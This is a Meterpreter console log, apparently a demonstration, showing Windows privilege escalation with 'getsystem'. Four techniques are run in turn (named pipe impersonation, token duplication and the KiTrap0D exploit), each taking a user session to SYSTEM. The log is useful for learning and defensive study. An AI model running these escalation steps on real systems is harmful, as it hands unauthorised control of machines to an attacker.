meterpreter > use priv
Loading extension priv…success.

meterpreter > getsystem -h
Usage: getsystem [options]
Attempt to elevate your privilege to that of local system.
OPTIONS:

-h Help Banner.
-t The technique to use. (Default to ’0′).
0 : All techniques available
1 : Service – Named Pipe Impersonation (In Memory/Admin)
2 : Service – Named Pipe Impersonation (Dropper/Admin)
3 : Service – Token Duplication (In Memory/Admin)
4 : Exploit – KiTrap0D (In Memory/User)

meterpreter > getsystem -t 1
…got system (via technique 1).

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

meterpreter > rev2self

meterpreter > getuid
Server username: MILLIWAYS\marvin

meterpreter > getsystem -t 2
…got system (via technique 2).

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

meterpreter > rev2self

meterpreter > getuid
Server username: MILLIWAYS\marvin

meterpreter > getsystem -t 3
…got system (via technique 3).

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

meterpreter > rev2self

meterpreter > getuid
Server username: MILLIWAYS\marvin

meterpreter > getsystem -t 4
…got system (via technique 4).

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

meterpreter > rev2self

meterpreter > getuid

Server username: NT AUTHORITY\SYSTEM